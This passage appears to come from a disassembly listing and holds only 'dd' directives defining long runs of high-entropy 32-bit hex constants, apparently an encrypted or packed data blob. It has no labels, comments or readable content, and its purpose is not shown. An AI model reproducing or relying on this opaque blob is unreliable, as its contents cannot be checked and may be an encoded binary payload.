7B18806Ah, 318435C7h, 0ADA708Ch dd 22283E61h, 0C45D87BDh, 0A5E293D4h, 9FB1695h, 17D80434h dd 0D65E21C9h, 1292F394h, 0ED2D7A7h, 0FBA5111Eh, 705F4992h dd 23601EACh, 0B3E090A5h, 29E610Fh, 2C20F7C8h, 0D9EC7DD6h dd 5604B068h, 90F95E2h, 0F8B45100h, 5B989028h, 5E76AEDCh dd 0CA483F12h, 9A68A91Ah, 0BE305A2h, 0C991FCC4h, 0D4C61CC4h dd 76B15022h, 50CD7478h, 0C0EE7705h, 0A7490D30h, 0A2B6E950h dd 0E0BE423Ch, 0A060BE81h, 345C87F6h, 274C0428h, 8E0B9964h dd 436949DFh, 476A6FE6h, 859C5CFBh, 308699BDh, 9C15009Fh dd 9F21928Eh, 264BC0Bh, 6DB10708h, 8046E075h, 0A056353Bh dd 2DBAE4F5h, 0C7E48093h, 5CE40318h, 0BE559777h, 3E3690E1h dd 2829992Bh, 0D20CDE86h, 4D578CEh, 82EB7572h, 0A65D750h dd 4E06D999h, 40D19D7Fh, 324D3F6Ch, 0B8E2283Dh, 5BF04718h dd 65BC8A1h, 58993CB9h, 0DC50FF53h, 1DDAB497h, 5D0D3355h dd 9446AF4Fh, 0B7E270B0h, 0B23DBE8Eh, 3C0DFDF1h, 624D3CBBh dd 0B67C0BEBh, 31E9749h, 90B1AA1Eh, 4A594060h, 0AAF988D6h dd 0DBF72A13h, 262D90C2h, 544D9FDFh, 25A2FC49h, 0C848F978h dd 5CCD447Dh, 88504CDh, 0D2ACDC7Ch, 0D4207BBFh, 5BED1CFDh dd 0E41F75Fh, 2746FB37h, 42D5F7F8h, 0C15F74EBh, 65D6CBFh dd 520DA5EDh, 0F11EF9CFh, 0C9B84CDBh, 984C7EE3h, 0F20865h dd 0C335854Dh, 0DB774284h, 9F268124h, 2F14A6AEh, 0A5E31DEFh dd 648171C9h, 42A3BEB2h, 7D338122h, 0CAADFBFFh, 0E5552404h dd 0DDC1E84Eh, 0B73791E6h, 12FB0B45h, 0AFA86800h, 33D4DB8h dd 0AFC1212Ch, 867F756h, 0CC3C95B5h, 13676604h, 4386455h dd 0F2A07FE1h, 3A4D896Ah, 80C4D66Ah, 0A5F01CEBh, 0A876EE6h dd 7E94E4D8h, 7EBB74CDh, 0D7A2FA9Fh, 0B8D988C1h, 1B0F4C00h dd 78B81DF7h, 9C22FC8Dh, 89BA70E6h, 0B8271CA9h, 0F9E43367h dd 40C49D14h, 78EB4998h, 0E8E89255h, 0DCAC2C68h, 58AF46B6h dd 0AA9AC608h, 0A0F5676Ah, 414DB436h, 2480A704h, 514CB508h dd 1CE54E57h, 881A4A54h, 0F1AD86B0h, 54C38C0Dh, 0BCD0470Bh dd 4A96D81Bh, 98E6E651h, 3A86E90Bh, 9DF57B63h, 0C3BA7771h dd 9D0F1CDDh, 1F07B124h, 79FC276Bh, 79E266D2h, 36A1538Eh dd 7CA1839Ah, 9CC5C967h, 73178271h, 0DD532302h, 0A846C84h dd 87329966h, 918CFEFEh, 83186599h, 259835A5h, 7068DE99h dd 0BF2F1677h, 334DFFFCh, 29F1E064h, 0F586138Ch, 9D84089Bh dd 62DFD456h, 41F475CCh, 3A8B9DD6h, 1334F51Dh, 0B3A7FF68h dd 74A0D516h, 12794962h, 908525A1h, 6FBA8366h, 0D56A1381h dd 834DABE8h, 0EFDE434Fh, 4FA8176Ch, 43F3078Ch, 59AC3D97h dd 9FE3EE40h, 219E8F41h, 0AF4CFD66h, 6B213C68h, 33EBFEF5h dd 7EA3C751h, 7D455FF1h, 8DD07FC7h, 4703F261h, 5EA0366Eh dd 7B39AF52h, 73A47A2h, 73DB8184h, 253F2DB8h, 6875A8FCh dd 684980ECh, 0B9679D13h, 18371DF9h, 8256CA89h, 65C21E21h dd 0E529679Dh, 0DF547768h, 0FAB4339Ah, 519AFC32h, 0BCAA0365h dd 33F3FE6Ch, 0A8024263h, 1E16443Ah, 7D8DF5F0h, 0DF1F963Ah dd 3F6CE42h, 428A0398h, 26301C7Dh, 0EC3D4164h, 2AE7EC83h dd 7AB316A2h, 0A6481DE4h, 102FFC63h, 9BCCD5BFh, 14A1759Ch dd 11FAE82Ah, 0B080CA61h, 0A328606h, 8571B2FFh, 0A46BAADDh dd 0D82545BEh, 42921D1Bh, 2143E16Ah, 0B82B8B63h, 0C34242A6h dd 0F4516332h, 9F299172h, 45A7AB28h, 0F8E6DC95h, 2FF1C8CDh dd 0B1A467E3h, 7F3D67E5h, 90AAFFE6h, 4FB2C122h, 699F4952h dd 0D30C862Eh, 60211096h dd 0B1BF7110h, 7A58F17Bh, 0FCFC66D1h, 3EDA85B2h, 4F45BFD6h dd 0B194E2D6h, 9234F12Dh, 7D34812Ch, 3AF13124h, 74EE7400h dd 7D9B7481h, 0D66CEB9Fh, 758E1FAEh, 0A9507492h, 0FCE5B4B4h dd 0FBC77ED1h, 25B1E9BCh, 0AB081C1Ch, 415E0460h, 850BE424h dd 703B9C4Eh, 0E1B22AF4h, 1EB1E4FAh, 0BA1E8502h, 0D8D87C6Ch dd 0AA001F9h, 0DAFF30BDh, 6A49FDEh, 0FB229DC3h, 0DD74484Bh dd 0CAB684EFh, 0DD29BC0Ah, 0A087F1DDh, 7C226D84h, 0C19A6346h dd 0C52717EDh, 4917A8C0h, 0E81472D3h, 2702B4BDh, 9E965DCAh dd 8CBC2BB4h, 0F97AF213h, 78C0F38Bh, 0D0A9CFB9h, 0CF9D5156h dd 20683DEFh, 682C62A9h, 0CF92A7C3h, 0B8D3AEDFh, 41458EEh dd 55FAF078h, 532B02C3h, 0D07582Eh, 0DCB0D49Dh, 0EB6DB5CEh dd 0F57174F8h, 17801AFBh, 0B0F7F36h, 0C0F6B4FBh, 0F3F18739h dd 4AA0F087h, 0C365630Dh, 8F5BD46Ch, 7A656C7Bh, 0CFD9B267h dd 6865C43Fh, 246E9FE6h, 8481C381h, 2B0F01C3h, 2151EC50h dd 0DBF77B00h, 2BD07C3Fh, 0E4EB7531h, 6BAC7FC9h, 10E063EDh dd 28F35129h, 27F91CF6h, 50C30241h, 0C083D34Eh, 77F48C4Bh dd 29963D2Eh, 0D1A2F561h, 46D8756Ch, 0C44837A6h, 0D155869Eh dd 0DDA165ABh, 370B1F12h, 1C9619A8h, 0A10CF1C4h, 29CE5F0h dd 9F047F3Ch, 0CFC0612Ah, 0C377A790h, 1F607A11h, 5F5A5012h dd 6DBA3E4Ch, 25BE73C2h, 321FBB0Ah, 57466EDh, 0DE02538Dh dd 6291143Fh, 4EA5881h, 0BD852953h, 0FDAC9B6Dh, 51AAFEF2h dd 0EFCE1637h, 0C20CDA07h, 0B06751FEh, 0FF1C1E3h, 886C5A8Eh dd 8803B14Fh, 0C4E82872h, 0F4DE0D4h, 40096170h, 0F6CE3BB8h dd 29526216h, 38FCAF36h, 33545662h, 64311A1Dh, 0C3819DF4h dd 0BBEAD084h, 9130AB1Eh, 0CA5062AEh, 0AA05CA2Ch, 0EF3783DCh dd 0CBEF26A0h, 0EACD267h, 926837Dh, 7A9B6D1h, 0B75DBCAh dd 74F3B664h, 0E2A0E45Dh, 0C0A2FC68h, 46E68365h, 0D5ABBB10h dd 0E94D3A37h, 9B795E14h, 783F31E1h, 0A71586C0h, 1168B70Dh dd 0ACCEEC17h, 70D11CAFh, 0C4AFC02h, 6DE7B35Bh, 0C1D8D69Fh dd 0D863DC06h, 19DE4131h, 64142A1Ch, 0C23608Ch, 19694BFEh dd 0F52342DEh, 0DF940467h, 2520FAAEh, 0A49A0EACh, 0E3985A53h dd 0BEB8F9A8h, 1AB97413h, 731EA5A9h, 422DEA0Bh, 0F9AC8040h dd 0F43C7A28h, 0DE28D939h, 10F925F0h, 1AE41868h, 0C3361137h dd 136ACDDDh, 21785A54h, 4E4B8FB0h, 0E3B36096h, 55BA6CFCh dd 26C9941Ah, 0D4FB99C3h, 0EB4CB025h, 0E034E5A4h, 0B9D6FEEAh dd 0FAD31E1Fh, 0A07C626h, 1C6358CCh, 5EC499Eh, 2B5CE551h dd 0F535D09Ah, 0D31880AAh, 6CD08B6Fh, 7EA0CF6Bh, 8FAF641Ah dd 0FADCEA32h, 241081C4h, 9E8F17Ch, 0FD0D4AFh, 335400E9h dd 687B9695h, 0A28A765Ah, 0AEE6ED66h, 0D5287B8Eh, 34E43E61h dd 98EA89FEh, 0AF000091h, 0FC2BD2D4h, 0F75B0C62h, 7575D4EDh dd 0DD0AF7A8h, 0E9A4CC3Fh, 0D0E6F5C4h, 20CED10Dh, 2F4C71B9h dd 0B13434EFh, 67EC062Bh, 0C5C72E55h, 0A5A02CCh, 6B2774A8h dd 0CEBFBD02h, 0DA9CF70h, 0D305E6E6h, 661079F0h, 4028C781h dd 8D880E1Bh, 1873C946h, 8ED5E81Eh, 0FB2CB686h, 29CFBCC0h dd 0D78FF94Eh, 0BD223810h, 0CB0CE84h, 1A52E2EDh, 97209068h dd 0FC0AB14Fh, 0FF6286EBh, 0CAC9668Dh, 0CE0A4181h, 0AD2ECB44h dd 0E90896DEh, 3B30A338h, 5A2C40C2h, 0B4A6BABh, 0B813090Bh dd 0FF0231EDh, 0A330C5F6h, 4F92E4ACh, 0A2A5CD0Ah, 8E684E43h dd 921A8D4h, 3F742475h, 0FA20AAA7h, 317059Bh, 6E55FE3Eh dd 0F814470Ah, 0E1F775C9h, 6DE35D46h, 4A04DC47h, 0ED65D09h dd 147292EFh, 8D0712A7h, 0E7A0CE71h, 2A92B08h, 0BAE0E33Eh dd 0B54FE70h, 0D204E51Fh, 6EAAB300h, 0EEA17FBBh, 0A58001Ah dd 1FA8E679h, 21D08635h, 0EB4BBD79h, 2998A081h, 0F47BDBFDh dd 23046497h, 35D7D0Dh, 0CB3148A3h, 9C0786ADh, 0F0DB113h dd 8DB17EFCh, 0CC10ED34h, 7AAE04DCh, 0FD267F10h, 0C95C724Bh dd 3B2B3BF0h, 318A0BC7h, 50AC44C2h, 0A95B70E9h, 21F15F9Bh dd 2F02F43Eh, 487F78ADh, 0FD51FDECh, 0A3470121h, 0C9090922h dd 0A202C024h, 1F529C7Ch, 6290393Dh, 5C1673F0h, 0BB212EFh dd 95E45310h, 0ABF6BA24h, 0D2185768h, 0AD558AEBh, 700CB5C8h dd 8E3B4807h, 39B0EDEBh, 18A8FCF4h, 191779E5h, 1BAE41FFh dd 7CD24D90h, 7890BDFAh, 0D0CCFEA4h, 27E046D4h, 0B8FE793Ah dd 0FE14B933h, 0F29F5C9Eh, 3F157DA6h, 0F8E8E82Dh, 2450C0A7h dd 0D49DB506h, 0B0F0618Dh, 0A357D470h, 0F404EB21h, 20AC1D1Ch dd 0FEE4A667h, 0BAF59CC6h, 5B058A4h, 0F419BD68h, 31F2B5C0h dd 0FEE871E8h, 0BBE16A3Ch, 0EF306AE7h, 3135843Ah, 0CEA05FDBh dd 0ECE9FEFAh, 0FFB59D32h, 0F8ED8D11h, 0EA4D38E9h, 4423201Bh dd 0A0FB48AFh, 0E6FADB65h, 0DD0EB0Fh, 0F2E4C5CAh, 9F316FC7h dd 0BD0CFE43h, 0CFAE7B35h, 0C71F3F29h, 356D82CEh, 73EF135h dd 34636529h, 0CBB43FACh, 0A8BF0DFAh, 3F063563h, 61193812h dd 1FED240Bh, 0DC11BFD8h, 0B90B709h, 39C4AC4Dh, 9C4C7BDCh dd 0BBE0C667h, 0A9F2DB34h, 0F6A87446h, 2F848736h, 13B710C7h dd 0D74EE9A9h, 0D4A8C7h, 680F7710h, 63CE891Fh, 60CEB3A6h dd 6C2E493Fh, 5D931455h, 9C6F3F09h, 0D1FC9F01h, 5670EE0h dd 58E8CF09h, 22BA6F3Fh, 6B5A1D2Bh, 0AD3DCBB4h, 0ADB0D2F4h dd 54CE442h, 282DF571h, 0EE566CEFh, 0A0AEB316h, 40C25B74h dd 45BF0827h, 1AD1ABC1h, 0BB7C787h, 2304AAC7h, 213C135Fh dd 0C18722B8h, 49A3470h, 1F0001F6h, 0D06D58C0h, 0F120439Fh dd 670CCE5Eh, 5670CA50h, 0DE2F1A39h, 8AFDF5B9h, 1BC581C3h dd 7B077D31h, 9DB644C7h, 52C27598h, 0E15AEA1Ah, 4AFEFC27h dd 28B2C84Ah, 66901F0Ah, 0D42865C8h, 3ECF79Eh, 27F2BDD9h dd 5FF85527h, 70B57B1Eh, 0F46BF48h, 1DBEF73Eh, 57E8B52Ch dd 20D34462h, 9C306032h, 27917A6Ch, 64600B8h, 7BD167AFh dd 83FED50Dh, 0A3B70EFCh, 20D7354Eh, 451D572Ah, 0D696DEE5h dd 1E7E8626h, 132267C5h, 0DF2256B1h, 0CB018C09h, 1360A8EFh dd 78C7CC30h, 4256B53Fh, 69C8FFA0h, 0CB107639h, 0D5060754h dd 904F57FFh, 0A5C00113h, 9F40681h, 0E60FD391h, 1616B367h dd 0FDFB9FA6h, 0A887A1D8h, 0B35B4C7h, 3BC0136Eh, 0A4C24F3Fh dd 0D5D21712h, 2AEA6061h, 0DF061C92h, 5FF68100h, 0D82CE1C4h dd 7264BA0Dh, 89104D0h, 0A52CBB5Ch, 0BC3CBB30h, 0E4C20D71h dd 0D501687Fh, 5AF89058h, 3BE1C25Bh, 6F68802Fh, 383CD5DBh dd 0AD477C68h, 90E9EBC4h, 0CBA7B78Bh, 0B367A594h, 0BF303F2h dd 0BAA9D9A2h, 42547493h, 0B788D8B4h, 2DF5CD9Ch, 0EB2754AAh dd 98310873h, 7893B15Bh, 0CBE6E21Ch, 95D195CFh, 0CEBCC057h dd 0CA5B8F3Ch, 646E7C7Eh, 68674C3Fh, 14CB9CA5h, 0D0F15B93h dd 8524DB9Ch, 0FD3515DFh, 424AB7A6h, 3C4B7D1Bh, 26611D54h dd 38A64E9Ch, 812757DFh, 235F568h, 0D48A58E2h, 0D5934392h dd 1F0CE17Ch, 50CC8F79h, 5CF54C54h, 339A55A2h, 401B3F0Ch dd 0E0A5733Ah, 6170A78h, 25F4B0E8h, 0D852965Bh, 34D08D67h dd 5CEFA156h, 0D7E55489h, 10F81CACh, 0EEEA4807h, 7617462Fh dd 384C01AAh, 0D2F8F0DDh, 0A98204F8h, 0F5844169h, 3ACEC6F1h dd 2391F884h, 86F45D1Bh, 6B26C727h, 0FB4D93E1h, 636A1CA4h dd 8C4F95D2h, 0E8877CF4h, 0FC4663B9h, 54106BDAh, 57B5A3EEh dd 6FA7BB48h, 2861EEEh dd 0FAC2DA2Dh, 0AF6BD420h, 0AE4C84C0h, 78A9B71Ah, 5885B5F4h dd 0C43F812Eh, 3EB81DF3h, 453CBEF9h, 4ED1F3B8h, 70FA1D9h dd 3F34FBF7h, 6B3A4726h, 9F4A1EEEh, 5FFB28Ch, 0E5B4E454h dd 0A5E92E24h, 0C3DDE77Ah, 68EAF8E2h, 0C1B47473h, 0E2CEEF84h dd 986C0C20h, 0DBA89CE2h, 3A6EF9FDh, 0EC8C4A57h, 0F3146383h dd 0BAFE368Ch, 0F7A49891h, 79C82538h, 0B4418801h, 560658C4h dd 0AE3A1507h, 462F960Bh, 9B0B9307h, 412EB370h, 490873DEh dd 4855ADA7h, 10127FDEh, 0D9AB5C44h, 6C74BB93h, 0F329BCC1h dd 0BECCDE87h, 7F07E5FDh, 4AC51D34h, 0CCC766Bh, 7F14D2C3h dd 62BE474Ch, 1EE1A7D3h, 0AA4966F2h, 47C80F9Ch, 0C720CD05h dd 0AA231DEEh, 0C89F09Fh, 92A2AE50h, 0EBC86053h, 45F35840h dd 0A0BF326h, 46BE0A70h, 0DBF01FC1h, 59A72EE8h, 0C86DA484h dd 68CD6590h, 3D785885h, 24F73E3Eh, 0C287AFDCh, 55F66DDEh dd 7D7144C0h, 50347DFBh, 75AEBBF4h, 69649944h, 214E53Eh dd 4208D9FCh, 9DBA3431h, 0CEFB8D64h, 9CF522A9h, 0B4C6F85Eh dd 3884421Eh, 1C5E645Ch, 185BD4F2h, 0A5E974FDh, 62E3AF94h dd 1934708Eh, 8F03805Fh, 0CF87D8A8h, 5B81CB67h, 517E2969h dd 0FD8BCEFFh, 0F6F027E8h, 54A32FD4h, 5B3590CAh, 7ABCEAC2h dd 0B4AE75F8h, 261BB364h, 32243CD9h, 82EB0AD4h, 99489E95h dd 10C2D7Ah, 6EE64622h, 82581DFAh, 0F4A11238h, 8E090B06h dd 9867F2F4h, 9CBBD336h, 0BEE0AF2Bh, 0ABEB7766h, 0AF153781h dd 3196FE4Fh, 60E801B0h, 0EEFEF2FCh, 4E68B475h, 46A5C43Eh dd 4AC14F4Bh, 31BD7743h, 660AE2F0h, 0E96A4CD6h, 928E6306h dd 9A1F2902h, 0C4A69DC4h, 78F8ACF6h, 0B6298817h, 5AC72ED0h dd 0BD5D317Ah, 0FE56A9Ch, 4E997FC1h, 28E8A0FFh, 42B3D7D1h dd 59774ED2h, 0BDF3A0D4h, 845033A9h, 0E3E19288h, 8709CCE4h dd 0D048F306h, 543518BAh, 0F12CE05Ah, 3021B367h, 0C4864AFBh dd 2F6D3E51h, 67A47D2Ch, 0C5644718h, 0C44FA056h, 0C1559ED9h dd 0CDA16A42h, 0B134CD05h, 246FD7C9h, 0CE1B4282h, 0A0E7AB63h dd 76EE93D8h, 0CAA99150h, 85369F71h, 0FEFAE086h, 68206FBEh dd 0BD8F4610h, 0C5C00C14h, 9D31ED7Ah, 8FB351E7h, 3B05A9F0h dd 9A007305h, 0CD9327C9h, 626C013Ah, 0D4FF81F4h, 12770443h dd 6E507D0Ah, 0A9B9FB3Ch, 0D2FA40A0h, 0B7F585B4h, 78CFE591h dd 0D78565D8h, 63519816h, 0B3D26013h, 0A496CB7Eh, 7BECAC2Eh dd 15DDB4C5h, 0CCD0DAABh, 0D9D51191h, 202D2BC4h, 43347203h dd 5C35875Eh, 0A0E7E8E4h, 0C0C0A54Fh, 4FB4827Ah, 0EE1F42A5h dd 2234C25h, 33F4122Dh, 3BE6651Ch, 61AF1D69h, 3EA9A7E3h dd 46963CAh, 6F0DA402h, 0CAB27703h, 751B0C95h, 4EB810E4h dd 0FEA5FD8Eh, 59C59584h, 9DDEB4D2h, 1B025123h, 28466EFAh dd 596FD87Eh, 8B27286Bh, 1DE01D3Eh, 43F1B568h, 29046681h dd 30CC786Fh, 0F9688E29h, 47C6AEF5h, 19D7812Dh, 2F0061CEh dd 3588A17Bh, 746A5E47h, 0AA147742h, 4134EE82h, 0AD313DE9h dd 15D97401h, 0B55E7FBBh, 0B10B1434h, 0D31E8823h, 7B332606h dd 0F9A92984h, 0C7DDD0D4h, 2EC00D8Eh, 0FCABF01Bh, 0ECCABF6h dd 5EC602FBh, 4F046AFh, 0E83807Dh, 55AC047Ch, 6433A943h dd 0D43B332Dh, 0C4BFABA5h, 0FF205E71h, 36EB193Bh, 9CF56CA9h dd 0B68EAEDCh, 542697C0h, 0A231B93Bh, 9D196462h, 9D73F29h dd 0C3E27625h, 0C72B9D71h, 7D010E35h, 9CA1792Eh, 0E2FA0B7h dd 23BAB22Ch, 2CC710CFh, 12B53EA9h, 3C3C6D1Fh, 0FCCEA943h dd 71AE43FCh, 0A7E0F330h, 88BD50D0h, 790B7D57h, 0C38B1836h dd 79F85139h, 968FA950h, 552FB6B5h, 1B017539h, 43217563h dd 21A5D42Fh, 41FB1EAAh, 7FC4291Ch, 0EEF8A164h, 0E372157Fh dd 0FB002578h, 4214BA58h, 3D988B58h, 0D88A231Bh, 0CBF70123h dd 0EF16DA0Fh, 7B52E7DAh, 0AFB50DA1h, 1CA504FEh, 0B0338219h dd 0E744A045h, 0F6C208FAh, 0CC6F2067h, 0B1A0AA1Ah, 6EBD322h dd 7805A590h, 0D9E31027h, 4DE73E5Ch, 0F6FBE8F9h, 0F5D8900Fh dd 14EFC1E4h, 2E49956h, 0F7037178h, 0E04C88AFh, 0A555EA36h dd 951BE503h, 6DC5560Bh, 3BF40C3Ch, 852109D2h, 8CFA3CDEh dd 0FB13FF68h, 0B08CDD8h, 7DF60664h, 0F6D4A8C3h, 0BF2FB1FFh dd 17F59B2Dh, 0DE6BBD56h, 9CC7DE1h, 4605F5F8h, 70A13E75h dd 0F74C4674h, 1F36B31h, 2371DEh, 76EA5717h, 0CD59AE0Ch dd 2206798Eh, 452CE8CFh, 0C5C4374Ah, 0C85E8969h, 0ECADA486h dd 24319CF5h, 4DFA988Eh, 0F838AC9Bh, 1FCC6468h, 39FDC18Eh dd 0D51CA0C7h, 0F91D98D8h, 0C4A951E4h, 0DC08D07Dh, 4610DCE8h dd 2FE03BC3h, 0F02C02CFh, 0C9FC8C0Ah, 3F4061C4h, 127FD40Ah dd 9B54A5E4h, 9B35AB25h, 3B20FD37h, 59CA644Eh, 72CFDE1h dd 6CA3AA4Bh, 99B5A824h, 66057C28h, 55F15332h, 832EAD75h dd 0D9CC8CE0h, 52715CC4h, 0C25C7416h, 13FB42E4h, 0F2E7DD9Ah dd 59B07AFBh, 7BF31D6Ah, 6928FF3Eh, 7FE21D53h, 0FDAFFB73h dd 0D1F2DBC8h, 0BF9B0721h, 0DEC2300Bh, 6AB382E4h, 0B67E4C3Bh dd 4D5BDCEh, 3D67B462h, 0B8606533h, 798CA634h, 1369A66h dd 0D4045B48h, 1E3747E1h, 0BCF046D0h, 0DF05B13Eh, 0D4284130h dd 7B3EA83Dh, 95AAB215h, 0E0C106FFh, 76FC4396h, 0E6AF1280h dd 372FB9BDh, 0B0AD4DCEh, 0EF4C924Fh, 9D69AD35h, 1A680432h dd 0C386284h, 0D53CA025h, 0C2357868h, 987E6747h, 0DB970EEEh dd 724C7B6Fh, 0F68ABC31h, 58667AC5h, 0BAD5A830h, 0CC196053h dd 0CCE2BF7Bh, 0E6A6124h, 0FF2037A7h, 7313DB29h, 31C942FCh dd 1B2266F0h, 0BCB4B575h, 0A619F7D1h, 0C82AE498h, 3FE01104h dd 167EAD0Eh, 0D1416DF7h, 0E7D36B21h, 56AEC9F0h, 0C210EC00h dd 0E075AEBCh, 1625A2D8h, 13531DFFh, 0E319DB26h, 98EC5626h dd 0EFB9CEABh, 0D6F82306h, 1C689C22h, 0D94D265Ch, 0D151AD57h dd 1331FC93h, 0A81C652Bh, 4FF1AD8Eh, 0F0BFF2D8h, 80AF00DBh dd 8A9CA167h, 1321586Dh, 34EC071Fh, 0B13477FEh, 0FFE0D7CCh dd 6A79098Bh, 0A8CC7D36h, 7C9CAE00h, 0CB141DF9h, 0CDF48E36h dd 0D7316A40h, 7391AEFFh, 1AD6D792h, 28A6BD0Dh, 14C73961h dd 0C02A02D6h, 24C6B688h, 39C6570Ah, 1E98FEF1h, 0B2D0CA4Eh dd 0A4FF140Eh, 0A9F21191h, 0E4EB1117h, 0EA0D914Eh, 6460D6A0h dd 6191D594h, 7A6E101Ch, 8F817003h, 4DE30522h, 3B31EC5Eh dd 75A69B3Eh, 0B372F480h, 33202907h, 6D4C738Fh, 21049A4Ah dd 0D729FEF7h, 7B411F68h, 1CE4C4EBh, 0EB4A41E4h, 0EA4EF7F7h dd 0F67623Dh, 779755DBh, 0CCECC4E1h, 0EED23FB0h, 0B1E11369h dd 0A2D6DAE2h, 0C8A81571h, 0C081A033h, 0C729B039h, 0DFF3B3CEh dd 7EDFB4F0h, 0AF8B6F58h, 29B8BF31h, 81E5C06h, 2B5480E1h dd 33B744B1h, 1F0F9399h, 3682993Bh, 9F2D9C87h, 3DF9E392h dd 105D98BFh, 0A7D11095h, 0CAC4AF45h, 0D6ACC6F8h, 399EE41Bh dd 2F244310h, 0C6358BEFh, 0ACE7B52h, 0FA732BE8h, 6C857533h dd 0C9090D40h, 42C7FE10h, 5E4486DCh, 0CFD07078h, 0F877433Ah dd 0AC8144BFh, 0E232C7D6h, 0ED0E4F8h, 0CAE6FA84h, 0F0804761h dd 832F592h, 63C72B87h, 0CC4FED3Bh, 0D119A11Bh, 70AAB7AEh dd 0EAE89DCFh, 34D6A10Dh, 0B5AF342Ch, 9F0E551Dh, 0EDF226E6h dd 41F5C1C3h, 1B8233EDh, 9F11170Ah, 0BD4BEBA4h, 3887F544h dd 0B6F64E97h, 9942A892h, 0FE2299Ah, 33C4F5C7h, 1A10A204h dd 2357AF81h, 0D0A657DEh dd 8E3F4728h, 4F24194Eh, 0C9817284h, 0D12EACE2h, 6BC35904h dd 503499CEh, 61850897h, 0D564B34Dh, 0F54CBDF2h, 68304367h dd 0C717ABC8h, 92EE1B3h, 8C8333EDh, 252A9F3Ah, 762C8B67h dd 0D3226D74h, 0D8E260A5h, 24889586h, 0DCA559EAh, 2F2051EEh dd 332145E4h, 0DF572E84h, 9E291F36h, 7CB7F1F0h, 0CB10B361h dd 4ECEF3Eh, 6DED97E4h, 24AE15C0h, 0AE8E68B9h, 0BE0299A5h dd 1181B23Ch, 0D371F5C7h, 7C5ADB83h, 6E02F8E9h, 0F93AB728h dd 0C3371107h, 9E2CE8CBh, 0FF2F911Ch, 8A5CE7A9h, 77397612h dd 0D4442386h, 55FC70A7h, 0F9F2FE5Ch, 7D8E451Fh, 9B5D9B2Ah dd 77A479ECh, 18D15825h, 7D7BA973h, 6877B3F8h, 2B705866h dd 4B9E4FD8h, 0C21C6574h, 1FDEB7F8h, 72CF582h, 3154FC18h dd 0A738A549h, 0D8DFEFBh, 0AACC7FFh, 53C04F07h, 53B5196Bh dd 9B2AFF53h, 0E2CCE838h, 82F04F0Dh, 48DD7A4Ch, 62A3917Bh dd 97CFB2CCh, 3C5984FEh, 76D5606h, 903ACE35h, 0C63C42A0h dd 0B41F6BF8h, 0A4581F18h, 0B437DE03h, 0C90005A4h, 0F8FEF4h dd 68032CD1h, 0DCF7E7E6h, 68858BCBh, 33EE7FEDh, 0FE238B8Dh dd 0D4D2E811h, 0C2EF9F7Ch, 12A93E86h, 0FB086F83h, 0F00F7E3Fh dd 0FBED619Bh, 8573F19Dh, 0C9ADFF8Dh, 1C8243AAh, 9275722h dd 236B06E0h, 7DEC4DB5h, 0C63A4DF4h, 0D505823Eh, 78400791h dd 4237C341h, 8499E8E2h, 0C132A0A7h, 0C067C6F8h, 99066368h dd 0C73D3EEAh, 4AE673FEh, 0DF408C0Dh, 0FCF85AC6h, 0F8E20429h dd 0A8A067C9h, 3434D0A7h, 0A20ABAB6h, 9CF6362Fh, 431EE55Ch dd 0C94F8082h, 4B2CBA21h, 0C4998793h, 0C676813Ah, 87200DC1h dd 0D0AE3D2Ah, 0B8CB7D85h, 7E485C87h, 0FA4986E7h, 4344F53Bh dd 0C8DBF39Bh, 9CF99DC7h, 0FA5B9D50h, 3F25B064h, 94E062Eh dd 0DF97163Bh, 0BEBE43BAh, 7F37734Bh, 190E9393h, 54292C0Dh dd 7C885h, 44CCC130h, 0EDEF90B6h, 0D8173521h, 7B69900Dh dd 3D51554Ah, 4E15350Dh, 0D0C83482h, 28E2AFBh, 38F37AC6h dd 24EA67A8h, 0EA1F3F83h, 0FAF4B5E1h, 402290F9h, 0F84F4F25h dd 4728A90Ah, 4CF3F1E2h, 6BE459F4h, 3CDC7527h, 8347BB2Ch dd 0DF16A678h, 0C17A5964h, 0D33DB128h, 0FB944EE4h, 0BE66D3Bh dd 9F0C4C3Eh, 0BEBB59C5h, 0BF3BA180h, 116B76Dh, 161C8FD8h dd 24F41F42h, 0F0B00D67h, 3CE657C4h, 76831EDDh, 1A34B423h dd 4EF66022h, 0D0CF3CD9h, 0BF597CAEh, 9B6373D3h, 0F5E08C16h dd 5543F7ADh, 0BA313EFEh, 17BC087Bh, 0F4493C3h, 3CE28027h dd 0C7A334F3h, 77698365h, 90A17FEDh, 0CEB546A5h, 0D8EFA7E4h dd 65E053EBh, 326BDC5Dh, 539D5C2Fh, 2767C461h, 3B0611F1h dd 350CFCFCh, 0D76476DCh, 9C9AEC3Ah, 8277F0E9h, 225B12E1h dd 39254B4Dh, 4520F8C4h, 50A40373h, 0CAEF12F8h, 0A6C4018Eh dd 0BBEFABC0h, 0FC67EC42h, 28E2B52Dh, 30AC7629h, 7CEDF861h dd 68BDFC65h, 0AA3682E7h, 94F5C3C8h, 0A4F06541h, 9CE4BFD8h dd 0BA8EF21Ch, 3FC0EAFh, 0FE661447h, 26E50FA0h, 52399115h dd 0F39E5038h, 17DA707Ah, 94C448C2h, 8505B775h, 0A72E104h dd 8073B1D6h, 7987C908h, 7A179F3Ah, 3DA08F70h, 69C6E4A8h dd 0FAEAFFFCh, 0EDA4AA28h, 9746ABDEh, 3732A9A8h, 8590B1A9h dd 63BCA104h, 79F2793Eh, 2ACE00F0h, 0D9EE1D3Ch, 0D87674DFh dd 5B101B15h, 2470F2C3h, 37E14C8Dh, 0BB349579h, 3A0F34FFh dd 0C0D05F66h, 7505F53Ah, 0C82DB6F0h, 0B7F06458h, 233CBE12h dd 848ECDE6h, 69818D25h, 0F1A4C178h, 0EDF484EEh, 22B093D2h dd 0E09BCC9h, 0B0CC82CEh, 3D6F2F8Dh, 2A09F6A6h, 0EEC8D011h dd 0AD2DB7Ah, 54FF1027h, 0F40B1CB7h, 77E4D970h, 4E949DF6h dd 4150F4Fh, 0BE9DF961h, 3821B67Eh, 0A5720CFBh, 0D20D5268h dd 94F35CEh, 0BF34A7CCh, 0CBF3EBFCh, 74640950h, 24D2136Bh dd 0F85B6369h, 0FB99CEBFh, 78AF63E1h, 0F8C65E38h, 0A88EFC2Bh dd 1CE4E961h, 0CE388C5Dh, 0C56C5818h, 737DF03Fh, 8C8C2947h dd 71D0F20Eh, 38F768AEh, 0A5C2BA89h, 0F3061BBh, 0CCD65D01h dd 0EF38420Eh, 0FF5C4E9h, 83306C9Eh, 0BB547864h, 0EB31FF15h dd 279978D5h, 55E21EECh, 0C036E484h, 9F76FE80h, 0B534FD21h dd 421784F6h, 23AF25FBh, 0C43F214Ch, 21A18838h, 3C7C836Bh dd 0FAE12925h, 7C5BF73Eh, 0FD44EF44h, 